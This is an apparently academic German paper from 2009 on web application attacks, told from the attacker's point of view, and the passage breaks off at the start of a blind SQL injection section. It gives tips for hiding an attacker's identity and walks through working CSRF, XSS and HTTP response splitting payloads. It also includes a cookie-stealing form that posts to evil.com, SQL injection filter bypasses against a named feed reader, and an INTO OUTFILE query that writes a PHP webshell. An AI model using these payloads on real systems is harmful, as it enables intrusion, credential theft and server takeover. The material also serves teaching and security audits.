Sicherheit von Webservern

kuze
2009

Gliederung

I. Rückblick und Übersicht

1.1 Einleitung

Noch vor zehn Jahren fing ein Angriff auf einen Server unter anderem mit einem Portscan an. Es wurde geprüft, welche Services von außen sichtbar waren, diese wurden identifiziert und der passende Exploit für einen Buffer Overflow oder eine ähnliche Sicherheitslücke in einem der Services wurde angewandt. Gab es keine bekannte Lücke oder konnte man sich den Exploit nicht leisten, so kam Bruteforce von FTP oder SSH sowie altbewährtes Social Engineering in Frage.
Am Letzteren hat sich auch heute nichts geändert, es bleibt zumeist die effektivste Methode, einen Server zu infiltrieren und an vertrauliche Daten zu kommen. Mit der Zeit, in der die Serveranwendungen wie Linux, Apache und OpenSSH sich entwickeln sinkt auch ihre Fehleranfälligkeit, und neue Sicherheitsmechanismen wie Address-Space Randomization unterbinden oder erschweren das Ausnutzen von Buffer Overflows und ähnlichen Sicherheitslücken. Heisst es, dass die heutigen Webserver unsere Daten sicherer gegen Fremde schützen? Nicht zwingend, denn in den letzten zehn Jahren ist das Konzept der dynamischen Weboberflächen populär geworden, deren Implementierung oft eine neue Angriffsfläche bietet. Heute werden Dutzende von neuen Sicherheitslücken in solchen Anwendungen gefunden, viele davon sind kritisch für die vertraulichen Daten auf dem Server und die Sicherheit des Benutzers. Der Grund für die Mehrzahl dieser Lücken ist die Popularität, niedrige Kosten und Unkompliziertheit der Skriptsprachen, in welchen solche Anwendungen geschrieben werden, so dass auch unerfahrene Entwickler funktionierenden Code in kurzer Zeit liefern können. Mangels Fachwissen entstehen dabei oft kritische Fehler, die schnell ausgenutzt werden. Man mag zwar einwenden, dass gerade die Komplexität der klassischen Programmiersprachen wie C zu Fehleranfälligkeit führten und übersichtlichere Skriptsprachen wie PHP einfachere Fehlersuche

ermöglichen, doch dies gilt auch für die Angreifer, die nun in wesentlich kürzerer Zeit sich mit der Materie vertraut machen können. Sogar diese Arbeit wird bereits genügen, dem Leser das Eindringen in eine beachtliche Anzahl von Webanwendungen beizubringen. Die Popularität von sozialen Netzwerken und ähnlichen Plattformen ermutigt zudem Internetnutzer, ihre vertraulichen Daten einem Webservicesnbieter zu übergeben, was im Falle einer Sicherheitslücke in einer der Anwendungen dieses Anbieters zum Verlust von Millionen von Datensätzen führen kann.

In dieser Arbeit möchte ich einige Angriffe auf höherstufige Anwendungen beschreiben, die insbesondere die Webanwendungsschicht zwischen den Datenbankservices und dem Benutzer anzielen. Dabei werde ich von einem LAMP-Paket[1] auf dem Opfersystem ausgehen und die heute üblichen Attacken auf Software für dieses Paket anhand von Beispielen analysieren sowie einige neue Nuancen solcher Angriffe aus der Sicht des Angreifers darlegen. Obwohl wir dabei von Sicherheitslücken in Webserveranwendungen reden, kann ihr Ausnutzen zur Codeausführung auf dem Server oder aber auf dem Terminal des Nutzers kommen. Oft betrachtet man die erstere Klasse von Lücken als sicherheitskritischer, da der Angreifer sowohl an die Daten auf dem Server kommt, als auch anschließend Code auf den Nutzerrechnern ausführen kann, da er Kontrolle über die dem Nutzer dargebotene Inhalte erlangt. Nichtsdestotrotz erfreut sich gerade die letztere Klasse der Sicherheitslücken in letzter Zeit besonderer Beliebtheit, da solche Fehler öfter in Webanwendungen anzufinden und oftmals leichter zu entdecken sind.

1.2 Angriffsvorbereitung und -ausführung

Es erscheint sinnvoll, noch vor der Auseinandersetzung mit konkreten Sicherheitslücken in Webapplikationen den typischen Ablauf eines Angriffs zu betrachten. Dieser ist zum Teil übliche Praxis für jede Art von Angriffen, manche Aspekte sind jedoch spezifisch für das exploitieren von Webanwendungen.

Zunächst ist für den Angreifer die Sicherheit und Anonymität seiner Internetverbindung von entscheidender Bedeutung. Es gibt verschiedene Wege dies zu erreichen, angefangen mit dem Benutzen von kostenlosen Proxies bis hin zu Ausnutzen von anonymen kabellosen Verbindungen. Die klassische und bis zu einem gewissen Grad verlässliche Lösung ist jedoch eine bezahlte, sichere VPN-Verbindung, die dann mit einer Kette von verlässlichen SOCKS-Proxies kombiniert wird. Beide Aspekte sind essentiell für die Anonymität des Angriffs; dazu wählt der Angreifer üblicherweise einen VPN-Anbieter im Ausland, der einen Doppeltunnel-VPN zur Verfügung stellt, so dass der VPN-Server A nichts über das Ziel und der VPN-Server B nichts über die Herkunft eines jeden Pakets wissen. Verlässliche SOCKS-Proxies sind üblicherweise vom Angreifer selbst penetrierte Auslandsserver, um die Möglichkeit der Logaufzeichnung auszuschließen. Für die eigentliche Webserver-Verbindung verwendet man einen generischen Browser innerhalb einer abgeschotteten virtuellen Machine. Es ist zudem üblich, für Bruteforceattacken sowie Portscans eine root-Shell, also einen Root-Zugang zu einem Server zu verwenden, da diese meist eine höhere Bandbreite beim Internetzugang bieten. Das Ziel ist es, dem Opfer keinerlei Hinweise zu geben, welche Person oder Organisation hinter der Attacke steht.

Beim Analysieren des Ziels stehen für den Angreifer mehrere Aspekte im Vordergrund. Die erste Frage, die dabei gestellt wird ist, ob Sicherheitslücken für die verwendete Webanwendung bereits bekannt sind. Es ist also von Bedeutung zu erfahren, welche Revision der Software vom Betreiber eingesetzt wird, sowie welche Modifikationen dafür selbstständig programmiert oder eingepflegt wurden. Dabei hilft das Studieren der HTML-Ausgabe, der HTTP-Header, die Google-Suche nach Skripten unter dieser Domain und das Betrachten der robots.txt-Datei im Wurzelverzeichnis, um die von Suchmaschinen nicht indizierte Ordner- und Dateipfade zu erfahren. Handelt es sich um einen Shared Hosting, also einen von mehren Nutzern geteilten

1 LAMP: Programmkombination aus Linux, Apache, MySQL und PHP

Webserver, so empfiehlt es sich auch, andere Webseiten auf diesem Server zu betrachten, da eine Sicherheitslücke dort zum Zugang zum eigentlichen Opfersystem ermöglichen kann. Es kann auch nützlich sein in Erfahrung zu bringen, welche Personen für diese Webseite verantwortlich sind, sowie welche Interaktionsmöglichkeiten die Webanwendung dem Benutzer bietet.

II. Clientseitige Codeausführung

2.1 Cross-Site Request Forgery

Eine heute sehr verbreitete Attacke auf den Webseitenbenutzer ist das Cross-Site Request Forgery, abgekürzt CSRF, also eine Sicherheitslücke in der Webanwendung, die es einem Angreifer erlaubt, den Nutzer zum Aufrufen bestimmter Seiten in seinem Browserkontext, jedoch ohne seiner Kenntnis zu zwingen. Solche Sicherheitslücken entsteht meistens, weil die Webanwendung nicht überprüft, ob der ausgeführte Befehl vom Nutzer tatsächlich beabsichtigt war, konkret also, ob der Skript, der diesen Befehl ausführt von einer legitimen Seite aus aufgerufen wurde.

Häufig ist diese Lücke bei Admin-Oberflächen einer Webanwendung zu finden, die neue Einstellungen der Software per GET-, REQUEST- oder POST-Anfragen des Browsers entgegennimmt. Betrachten wir eine in den letzten Jahren gern ausgenutzte, hier verallgemeinerte CSRF-Lücke in einem Router-Webinterface, welches einem authentisierten Benutzer das Ändern des DNS-Servers erlaubt. Angenommen, die Anfrage an den Router sieht dabei folgendermaßen aus:

```
http://192.168.0.1/DNS.php?set=217.237.148.70
```

Ist der Nutzer im Webinterface eingeloggt, so wird nach dem Aufruf von dieser URL der DNS-Server auf 217.237.148.70 gesetzt. Gelingt es nun dem Angreifer, den Benutzer die URL

```
http://192.168.0.1/DNS.php?set=133.71.33.7
```

aufrufen zu lassen, und ist der Benutzer zu diesem Zeitpunkt im Webinterface eingeloggt, so werden ab nun seine DNS-Anfragen auf den DNS-Server des Angreifers `133.71.33.7` umgeleitet. Das kann dann später ausgenutzt werden, um dem Benutzer z.B. schadhafte Software zu unterbreiten und die Update-Funktion seines Virenscanners ausser Betrieb zu nehmen. Wie aber gelingt es dem Angreifer, seinen Opfer diese URL aufzurufen zu lassen? Zu den beliebten Möglichkeiten zählen unter anderem unsichtbare IFrames[2], Bilder-Tags oder Javascript-Umleitungen mit dieser URL, die man auf scheinbar harmlosen Webseiten platziert.

Das Ausnutzen einer solchen Lücke führte im Mai 2009 zum Verfälschen einer Umfrage auf time.com, die nach den einflussreichsten Menschen in der Politik, Wissenschaft, Kunst und Technologie fragte. Man erkannte schnell, dass das Abgeben einer Bewertung für einen Kandidat über das einfache Aufrufen von

```
http://www.timepolls.com/contentpolls/Vote.do?
pollName=time100_2009&id=<ID des Kandidaten>&rating=<Bewertung>
```

geschehen konnte. Es wurden in kürzester Zeit Javascripts geschrieben, die diese URL mit der ID vom Kandidat „moot“[3] und der höchstmöglichen Bewertung ununterbrochen aufriefen, die man dann auf diversen Foren und Imageboards unterbreitete. Am Ende der Umfrage hatte nicht nur „moot“ den ersten Platz, die Anfangsbuchstaben der Kandidaten auf den ersten 21 Plätzen ergaben „Marblecake also the game“ [1].

Es gibt mehrere mögliche Gegenmaßnahmen für einen solchen Hack. Beliebt ist ein zusätzlicher, geheimer Token in der gefährdeten URL, den nur der Browser des Besuchers der legitimen Webseite kennen kann. Dies war auch die Zwischenlösung der Betreiber der time.com Webseite;

2 auch Iframe gennant; ein HTML-Element, das für das Anzeigen von Webinhalten (anderer) Anbieter verwendet wird

3 Betreiber des populären Imageboards 4chan.org

die Flashanwendung, mit der die Umfrage ausgeführt wurde, erstellte ein solches Token beim Abgeben einer Stimme. Der dazugehörige Algorithmus wurde jedoch schnell geknackt. Eine weitere Schutzmöglichkeit, die bei Login-geschützten Webseiten wie der Admin-Weboberfläche eines Routers angewandt werden kann ist das Setzen einer sehr kurzen Lebenszeit des Authentikationscookies, sowie das Einschleusen eines geheimen Tokens in den Session-Cookie. Ebenso ist es möglich, das Referer-Feld der HTTP-Anfrage des Browsers zu überprüfen, oder eine CAPTCHA-Eingabe zu erzwingen. Im Beispiel des time.com-Hacks wäre die erste Alternative jedoch recht nutzlos, da in diesem Fall das Referer-Feld von dem Angreifer manipulierbar ist. Die zweite Alternative ist dagegen bei einem Router-Webinterface wenig brauchbar, da das Eingeben einer CAPTCHA bei jedem Ändern einer Einstellung dem Benutzer unzumutbar ist.

2.2 Cross-Site Scripting

Eine weitere clientseitige Attacke, die in den letzten Jahren an Popularität gewann ist XSS, das Cross-Site Scripting. Darunter versteht man das Ausführen von schadhaftem Scriptcode oder das Rendern von HTML-Code auf dem Rechner des Besuchers einer vertrauenswürdigen Webseite. Ähnlich wie bei CSRF werden vom Browser eines Benutzers Befehle in seinem Sicherheitskontext, jedoch ohne seiner Kenntnis ausgeführt; dabei unterscheidet man zwischen einer passiven und aktiven XSS. Diese Art von Sicherheitslücken ist der momentan am häufigsten berichtete und verbreitete Fehler in den Webanwendungen, da fast jede Anfrage vom Benutzer richtig gefiltert werden muss, bevor sie weiterverarbeitet und wieder angezeigt werden kann. Das führt zu einer großen Anzahl von Stellen in einer Webapplikation, an welchen eine solche Attacke ausgeführt werden kann, und da die dazu einzuschleusenden Daten, also der Payload oftmals nicht einmal Sonderzeichen enthalten muss ist das Filtern kein einfaches Unterfangen.

2.2.1 Passive XSS

Als passive XSS bezeichnet man Sicherheitslücken in einer Webanwendung, die beim Aufrufen einer bestimmt zusammengesetzten URL das Ausführen von Scriptcode, oft Javascript im Kontext des Benutzers ermöglichen. Wie auch bei CSRF muss der Angreifer sein Opfer zum Aufrufen einer URL verleiten, die eine bekannte und vertraute Webapplikation anspricht, jedoch schadhafte URL-Argumente beinhaltet. Häufig ist dieser Fehler bei Suchseiten einer Webanwendung anzutreffen, die mit dem Suchergebnis in einer Datenbank auch die Suchanfrage wieder ausgeben. Enthält die Suchanfrage einen Javascript-Payload, so wird dieser Scriptcode beim Ausgeben der Suchergebnisse im Kontext des Browsers, der die Suchanfrage gestellt hat ausgeführt. Ein sehr einfaches Beispiel für eine passive XSS ist die URL

```
http://192.168.2.1/search.php?q=<script>alert(1)</script>
```

Der dazugehörige Code der Datei search.php in Abb. 1 macht deutlich, dass die Variable `q` ohne Filterung direkt ausgegeben wird. Wird also die URL oben aufgerufen, so sieht der zurückgelieferte HTML-Code wie in Abb. 2 aus, und der Code zwischen den Script-Tags wird vom Browser üblicherweise als Javascript-Code ausgeführt, was zum Anzeigen einer Alert-Messagebox mit dem Text „1“ führt.

```
<?php
//[...]
echo „Suchergebnisse für „ . $_GET['q'];
?>
```

Abb. 1

```
Suchergebnisse für <script>alert(1)</script>
```

Abb. 2

2.2.2 Aktive XSS

Aktive XSS funktionieren ähnlich wie passive XSS mit dem Unterschied, dass der Javascript-Payload nicht mehr per URL übergeben werden muss, sondern aus einer Datenbank des Servers ausgelesen wird, da er bereits vorher vom Angreifer dort eingepflegt wurde. Konnte also der Benutzer beim Betrachten der URL verdächtig werden, so hat er beim Aufrufen einer Webseite mit einer aktiven XSS keinerlei Anhaltspunkte, die auf etwas Ungewohntes hindeuten. Angenommen, im vorherigen Beispiel werden alle Suchabfragen in der Datenbank abgelegt und bei jeder neuen Suche angezeigt, um populäre Suchbegriffe vorzuschlagen. Eine ähnliche Lücke ist oft in der Profilansicht bei Webseiten von sozialen Netzwerken anzutreffen, so dass bereits beim Besuchen des Profils des Angreifers schadhafter Javascript ausgeführt wird. Verbindet man diese Lücke mit CSRF, um Profildaten des Benutzers neu zu setzen, so kann man den schadhaften Code gleichzeitig in das Profil des eingeloggten Benutzers einschleusen, so dass nun zwei Profile infiziert sind. Dies ist ein Szenario für einen primitiven XSS-Wurm, der sich mit exponentieller Geschwindigkeit verbreitet und einen nicht geringen Schaden verursachen kann, bevor die Lücke geschlossen wird und die Profildaten der betroffenen Benutzer gesäubert sind.

2.2.3 HTTP Response Splitting

Eine oft übersehene Sicherheitslücke in Webanwendungen ist HTTP Response Splitting, welches ebenso das Ausführen von schadhaften Javascript im Browser des Nutzers ermöglicht. Dabei wird die HTTP-Antwort des Webservers durch Einschleusen von Carriage-Return und Linefeed ASCII-Zeichen in zwei Teile gespalten, wobei der zweite Teil den schadhaften Payload enthält. Am häufigsten wird dazu die PHP-Anweisung header() ausgenutzt, die zum Senden von rohen HTTP-Header und in gängigen Webapplikationen zum Umleiten des Nutzers auf eine neue, benutzerdefinierte Seite verwendet wird. Grundsätzlich ist diese Attacke immer dann möglich, wenn ungenügend gefilterte Benutzereingabe als Teil des Funktionsarguments von header() benutzt wird. Eine übliche Implementation der Umleitung auf eine neue Seite ist z.B. in Abb. 3 zu finden. Mit dem Location-HTTP-Feld fordert man den Browser auf, die darin gesetzte URL aufzusuchen. Mit

```
page.php?redirectto=%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d
%0aContent-Length:%2038%0d%0a%0d
%0a<html><script>alert(1)</script></html>
```

erzwingt man zunächst das Senden des Content-Length-HTTP-Felds, das auf Null gesetzt ist, um die erste HTTP-Antwort des Servers korrekt abzuschließen. Schließlich erstellt man eine zweite Antwort, die nach RFC 2616 [2] von der ersten mit zwei CRLF getrennt ist und eine HTML-Seite mit eingebettetem Javascript-Code an den Benutzer sendet, welchen er dann ausführt. Ein Ausschnitt aus dem Netzwerkverkehr zwischen dem Client und dem Webserver ist in Abb. 4 dargestellt [3].

```
<?php
//[...]
header(„Location: „ . $_GET['redirectto']);
die();
?>
```

Abb. 3

```
CLIENT:
GET /page.php HTTP/1.1

SERVER:
HTTP/1.1 302 Moved Temporarily
Date: Sat, 13 Jun 2009 13:18:06 GMT
Location:
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
```

```
Content-Length: 38
<html><script>alert(1)</script></html>
```

Abb. 4

2.2.4 Anwendung

Wir haben nun einige Techniken angeschaut, die es dem Angreifer ermöglichen, seinen Javascript-Code im Kontext des Opfers auszuführen. Auf den ersten Blick mag es jedoch nicht recht einleuchten, wozu es gut sein soll, beziehungsweise welche Risiken es für das Opfer in sich birgt. Zunächst ist es generell riskant, fremden Code auf eigenem System laufen zu lassen, sei es ActiveX, Flash oder auch nur HTML, in jedem Fall lässt sich das System missbrauchen. Im Falle von Javascript stehen mehrere Möglichkeiten offen, manche konventioneller als andere. Die älteste Anwendung für jede Art von XSS ist das Stehlen von Session- und Authentikationscookies, was dem Angreifer anschließend ermöglichen kann, sich für die Webanwendung als das Opfer auszugeben und alle damit verbundenen Rechte ausnutzen. Dazu wird die Fähigkeit von Javascript missbraucht, auf alle Cookies im aktuellen Domainkontext mittels `document.cookie` zugreifen zu können. Verbindet man dies mit der Möglichkeit, das Opfer jede beliebige URL aufrufen lassen zu können, so kann man den Inhalt der Cookievariable als Argument an den eigenen PHP-Skript übergeben, der dieses Argument in eine Datei schreibt. Da der Inhalt eines Authenticationcookie oft auch den Hash des Passworts des Benutzers enthält, kann der Angreifer zudem versuchen, diesen Hash zu knacken und in den Besitzt des echten Passworts des Benutzers zu kommen. Den Aufruf einer URL implementiert man üblicherweise mit der Javascriptfunktion `document.location.replace`, die den Benutzer auf eine neue Seite umleitet, jedoch kann man auch viel komplexere XSS-Szenarios mit unsichtbaren POST-Anfragen an den fremden Server verwirklichen; dabei erstellt man ein unsichtbares Iframe und Submitform mit dem Iframe als Target, sowie einen Script, der mit dieser Submitform automatisch den Dokumentcookie an den eigenen Webserver versendet (siehe Abb. 5) [4].

```
<iframe width=0 height=0 id=ifr name=ifr></iframe>
<form name=frm method=post target=ifr
action="http://evil.com/cookie.php">
<input type=hidden name=c>
</form>
<script>
document.frm.c.value=document.cookie;
document.frm.submit();
</script>
```

Abb. 5

Eine weitere Anwendung für XSS ist ebenfalls das Einschleusen von IFrames, diesmal jedoch zum Überlagern von bereits vorhandenen Login-Elementen einer Webseite, so dass der Nutzer seiner Kundendaten an den Server des Angreifers verschickt. Viel verbreiteter ist jedoch das Umleiten auf eigene Resourcen, meist, um den Benutzer zum Herunterladen eines Exploit-Bündels zu zwingen. Solche Bündel enthalten Exploits für die meisten gängigen Browser sowie Loader, die beim Ausführen diverse Malware auf dem Rechner des Opfers installieren.

Ebenso ist vor allem bei sozialen Netzwerken das Ausnutzen von XSS-Sicherheitslücken für XSS-Würmer beliebt[4], was man mit oben genannten Exploit-Bündeln verbinden kann, um in den Besitz eines großen Botnetzes zu gelangen.

Die komplizierteste Anwendung einer XSS ist das Nutzen eines XSS-Frameworks, um den Browser des Opfers unter die ununterbrochene Kontrolle des Angreifers zu stellen. Die Prototypen solcher Frameworks wie z.B. XSS-Shell[5] erlauben es dem Angreifer, die Tastatureingaben, Mausklicks, Zwischenablageninhalt und Cookies des Opfers aufzuzeichnen,

4 z.B. Samy-Wurm auf MySpace in 2007

5 XSS-Backdoor von Ferruh Mavituna, geschrieben in ASP (http://www.portcullis-security.com/16.php)

den Inhalt des momentanen Fensterinhalts nach Belieben zu verändern und sogar DDoS-Attacken zu starten. Der große Vorteil für den Angreifer ist dabei die Funktion eines solchen Frameworks, den Angreifer selbst nach dem Folgen eines Links durch das Opfer die Kontrolle über seinen Browser behalten zu lassen. Dies kann durch das dynamische Umschreiben aller Links auf der aktuellen Seite per Javascript verwirklicht werden. Jedoch ist es wegen dem schieren Umfang der Funktionalität für die Entwickler dieser Software nicht einfach, die Kompatibilität zu allen gängigen Browsern zu erhalten, was das Einsatzgebiet deutlich einschränkt.

III. Serverseitige Codeausführung

3.1 SQL-Injection

Eine viel gravierendere Sicherheitslücke, die jedoch nicht viel seltener als XSS oder CSRF ist wird man in nahezu jeder Webapplikation finden. Es handelt sich um die Möglichkeit einer SQL-Injection in einer Webanwendung, die dem Angreifer manchmal nahezu unbegrenzte Kontrolle über die Datenbank der Applikation gibt. Da die heutigen Webapplikationen oft private Kundendaten pflegen, bedeutet ein Einbruch in die Datenbank oft großen Geldschaden für die Firma, die hinter der Anwendung steht, sowie für die Kunden selbst. Für den Angreifer attraktive Datensätze sind Emails, Name-und-Passwort-Paare sowie Kreditkarteninformationen, wobei die ergatterten Datenbanken oft als Ganzes verkauft werden können. Hinzu kommt, dass das Ausnutzen einer SQL-Injection den ersten Schritt in Richtung der vollen Kontrolle über den Webserver darstellen kann.

3.1.1 Definition

Was versteht man nun unter einer SQL-Injection? Um diese Frage beantworten zu können muss man sich zunächst klar machen, wie die dynamischen Webapplikationen Anfragen an die angebundene Datenbank stellen. Da jede SQL-Abfrage eine Folge von Zeichen ist, haben die meisten Anwendungen die Schablonen für nützliche Datenbankabfragen wie „Hole alle Benutzer mit Alter größer X“ bereits vordefiniert, so dass an den entscheidenden Stellen nur noch der Platzhalter mit einem Wert, also meist mit einer anderen Zeichenfolge ersetzt werden muss. Genau hier ist die prinzipielle Schwachstelle dieses Konzepts bereits zu erkennen: die Zeichenfolgen, die in die Datenbankabfragen eingesetzt werden und ungenügend gefiltert werden können wiederum SQL-Anweisungen enthalten und somit die Ergebnisse der Abfrage verändern, um andere Datensätze zu extrahieren. Je nach verfügbaren Rechten des Datenbankbenutzers und der Version der Datenbank können auch Dateien gelesen oder geschrieben werden oder sogar Systemcode ausgeführt werden.

3.1.2 Beispiel

Um das Konzept einer SQL-Injection zu verdeutlichen sehen wir uns ein relativ einfaches Beispiel für einen angreifbaren PHP-Codeausschnitt und den dazugehörigen Angriffsvektor an. Hier wie auch in folgenden Beispiel werde ich gleichzeitig zeigen, wie bestimmte Filtermechanismen umgangen werden können. In Abb. 6 ist ein Ausschnitt aus einer älteren Revision einer Datei feed.php von Gregarius, einem Open-Source-Onlinefeedreader aufgeführt, der einen Fehler enthält[6].

```
<?php //[...]
$fid= (array_key_exists('folder',$_REQUEST))?preg_replace('#
\s#','',$_REQUEST['folder']):""; //[...]
$sql = "select c.id from ". getTable('channels')." c " ."
where c.parent=$fid and c.parent > 0";
```

6 http://gregarius.net

```
?>
```

Abb. 6

Wir sehen, dass die Variable `$fid` sich aus einem Argument zusammensetzt, der an die feed.php per `?folder=fid` übergeben und ungenügend gefiltert wird. Es wird versucht, die Variable gegen SQL-Injection zu schützen, indem alle Leerzeichen entfernt werden. Tatsächlich, ohne dieses Filtermechanismus wäre es elementar, feed.php mit dem Argument `folder=0 AND 1=0 UNION SELECT NULL--` aufzurufen, was dazu führen würde, dass die Abfrage NULL zurückgibt. Das liegt daran, dass die ursprüngliche Abfrage nichts zurückliefert, da wir in die Bedingungen das unerfüllbare „`1=0`“ eingefügt haben; zudem verknüpfen wir die ursprüngliche Abfrage mit einer neuen Abfrage mit dem Schlüsselwort `UNION`, welches dann die vereinigten Ergebnislisten beider Abfragen zurückgibt, selektieren das nicht getypte `NULL` und kommentieren den Rest der ursprünglichen Schablone mit `--` aus. Jeder SQL-Ausdruck wurde mit Bedacht gewählt: zwar erlauben die Datenbanken PostgreSQL, MSSQL und Oracle ein Abfrage-Trennsymbol, so dass zwei grundsätzlich verschiedene Abfragen ausgeführt werden können, doch gehen wir von MySQL als Datenbank aus, wo uns kein Trennsymbol zur Verfügung steht. Dafür unterstützt MySQL seit der Version 4 den `UNION`, welchem eine neue Abfrage folgen kann, die jedoch exakt dieselbe Anzahl von Spalten zurückgeben muss. Da die erste Abfrage nur eine Spalte zurückgibt, geben wir auch in unserer zweiten Abfrage nur eine Spalte mit dem Wert `NULL` zurück, wobei wir `NULL` wählen für den Fall, dass die Datenbank denselben Variablentyp wie in der ersten `SELECT`-Anweisung erwartet. Um den Rest der ursprünglichen Anweisung abzuschneiden, wählen wir `--` als SQL-Kommentar.

Im Code von feed.php werden jedoch die Leerzeichen herausgefiltert, so dass unsere eingeschleuste SQL-Anweisung zu einem langen Wort wird. Dies ist jedoch leicht zu umgehen, denn MySQL sieht jedes geschlossene Kommentar in Form von `/**/` als Trennsymbol an; die endgültige SQL-Injection ist in Abb. 7 zu finden. Ich habe `NULL` mit der Datenbankfunktion version() ersetzt, die die Datenbankversion zurückgibt, was beim Audit der Webanwendung nützlich sein kann. Zwei andere solche Funktionen sind user() und database(), die jeweils den Datenbanknutzer und den Datenbanknamen zurückgeben.

```
select c.id from channels c
where c.parent=0/**/AND/**/1=0/**/UNION/**/SELECT/**/version()-- and
c.parent > 0
```

Abb. 7

3.1.3 Angriffsvektoren

Grundsätzlich ist jede Variable, die in einer SQL-Abfrage vorkommt und auf die der Benutzer der Webapplikation Einfluss nehmen kann ein möglicher Angriffsvektor für eine SQL-Injection. Zu den üblichen Variablen zählen solche, die per URL, also per GET- oder REQUEST-Anfragen übergeben werden und als solche per $_GET und $_REQUEST im PHP-Code abgefragt werden. Ist die PHP-Einstellung `register_globals` auf `on` gesetzt, so können sogar globale, nicht initialisierte PHP-Variablen per GET-/REQUEST-Anfragen gesetzt werden. Ebenso können natürlich auch POST-Requests für SQL-Injections angreifbar sein. Sehr oft vergessen die Webentwickler es auch Variablen zu filtern, die mit Cookies, dem User-Agent, Referer oder auch per AJAX gesetzt werden. Ein Angreifer wird oft einen eigenen HTTP-Proxy laufen lassen, um alle Browserabfragen an die Webseite abzufangen, zu analysieren und gegebenenfalls zu verändern.

3.1.4 Datenbankbenutzerrechte

Manchmal ist es mit MySQL sogar möglich, eine simple SQL-Injection für mehr als nur Datenbankabfragen auszunutzen. Da jeder Webanwendung ein Datenbankbenutzer zugeteilt wird, mit dessen Rechten sie auf diese Datenbank zugreifen kann, hat auch der Angreifer dieselben Rechte. Nicht selten sieht man Webapplikationen, die als root die Datenbankabfragen ausführen, da es für den Webadministrator einfacher ist, einen bereits existierenden Nutzer wie

root in die Konfiguration der Anwendung einzutragen als einen neuen anzulegen. Sie übersehen aber, dass zu viele Rechte eine Gefahr für den Webserver darstellen können; so können Nutzer wie auch Angreifer mit ausreichend Rechten sich der Datenbankfunktionen `INTO OUTFILE` und `LOAD_FILE` bedienen. Dabei ist es mit `INTO OUTFILE` möglich, das Ergebnis der SQL-Abfrage in eine Datei umzuleiten, was ein ernsthaftes Risiko mit sich birgt. Gelingt es dem Angreifer, einen Pfad im Dateisystem zu finden, der zugleich von außen erreichbar ist und in dem der MySQL-Server genügend Schreibrechte hat, so ist es für ihn ein Leichtes, eine SQL-Abfrage zu formulieren, die eine Webshell in diesem Verzeichnis erstellt, so wie es in Abb. 8 dargestellt ist. Zwar muss der Angreifer dabei den korrekten und vollständigen Pfad zu diesem Ordner kennen, doch sind solche Pfade oft einfach zu erraten, da sie sich von Distribution zu Distribution wenig unterscheiden und vom Administrator selten geändert werden. Zudem können weitere Fehler in der Webanwendung wie das so-genannte „Full-Path Disclosure“, also das Anzeigen des vollen Dateipfades in einem PHP-Skript dabei behilflich sein, einen passenden Ordner zu wählen. Diesen Fehler kann man oft produzieren, indem man beispielsweise den PHPSESSID-Cookie auf NULL setzt. Eine andere Möglichkeit, diesen Fehler zu erzwingen nutzt die Tatsache aus, dass die Webentwickler oft bei der $_GET-Variable einen String erwarten. Übergibt man diesen Parameter jedoch als Array, indem man in der URL nach ihrem Namen eckige Klammern setzt, so wirft die Anwendung einen Fehler mit Angabe des vollständigen Pfades des PHP-Skripts, vorausgesetzt, die PHP-Fehlerausgabe ist aktiviert.

```
SELECT „<? system($_GET['cmd']); ?>“ INTO OUTFILE „/public/www/upload/
cmd.php“
```

Abb. 8

Mit der Datenbank-Funktion `LOAD_FILE` ist es möglich, eine beliebige Datei aus dem Dateisystem auszulesen, für die der MySQL-Server genügend Leserechte besitzt und diese als Ergebnis einer SQL-Abfrage ausgeben zu lassen. Dadurch lassen sich der Quellcode der Webanwendung sowie ihre Konfigurationsdateien auslesen, in welcher oft das Passwort des derzeitigen MySQL-Benutzers gespeichert sind. Erlaubt es die Firewall des Servers, auf die Datenbank von aussen zuzugreifen, so lassen sich so sehr schnell Datenbank-Dumps erstellen. Zudem stimmt das SQL-Passwort oft mit dem FTP- oder gar SSH-Passwort des Servers überein, was bereits eine kritische Sicherheitslücke darstellt.

Zuletzt soll erwähnt werden, dass ein Datenbenutzer auch Leserechte für die Tabelle „users“ in der Systemdatenbank „mysql“ besitzen kann. In dieser Tabelle ist unter anderem auch der Hash des root-Passworts abgelegt. Vor MySQL 4.1 handelte es sich um ein schwaches Hashing-Verfahren mit der Länge von nur 16 Byte, für welches sich schnell und effizient eine Hashkollision finden ließ. Neuere Versionen von MySQL verwenden dagegen ein besseres Hashing-Verfahren, und die Länge der Passwort-Hashes beträgt 41 Bytes. Doch auch in diesem Fall ist es nicht ausgeschlossen, dass das Passwort dem Angreifer nicht verborgen bleibt.

3.1.5 Blind SQL-Injection

Hat sich der Webentwickler nicht darum bemüht, die Fehlermeldungen der SQL-Datenbank bei falsch formulierten Abfragen zu unterdrücken, so stehen diese dem Angreifer zu Hilfe und verraten ihm die Namen der Tabellen und Spalten sowie die Anzahl von abgefragten Spalten, die für ein `UNION` bekannt sein muss. Meist aber ist die Fehlerausgabe deaktiviert, so dass die Webapplikation für den Angreifer eine Art Black Box darstellt. Gewisse Techniken erleichtern aber dem Angreifer das Finden und Ausnutzen von Sicherheitslücken in den SQL-Abfragen; man spricht dabei von einer Blind SQL-Injection, da das Einschleusen von SQL-Anweisungen nun blind erfolgen muss.

Zunächst ist der Angreifer daran interessiert, eine solche Lücke zu finden. Zwar sieht er nicht die Fehlermeldungen der Datenbank, doch merkt er an der Ausgabe der Webanwendung, ob die Abfrage erfolgreich verlief. Die übliche Taktik besteht also darin, absichtlich falsche SQL-Abfragen einzuschleusen oder mit `AND 1=0` ein leeres Ergebnis zu erzwingen und die Ausgabe zu betrachten, die dann oft leer ist oder eine generische Fehlermeldung der Webanwendung

beinhaltet. Ist eine solche Lücke gefunden, ist es für eine erfolgreiche SQL-Injection notwendig, die Anzahl der Spalten zu erfahren, die bei der SQL-Abfrage zurückgeliefert werden. Das erreicht man am einfachsten durch Ausprobieren; man hängt eine eigene Abfrage mit `UNION` an, kommentiert den Rest der ursprünglichen Abfrage aus und lässt der Reihe nach eine Anzahl von die NULL-Konstanten selektieren. Verschwindet die Fehlermeldung der Webapplikation, so ist die Anzahl der Spalten erfolgreich erraten worden.

3.1.5.1 Zeitverzögerung bei Abfragen

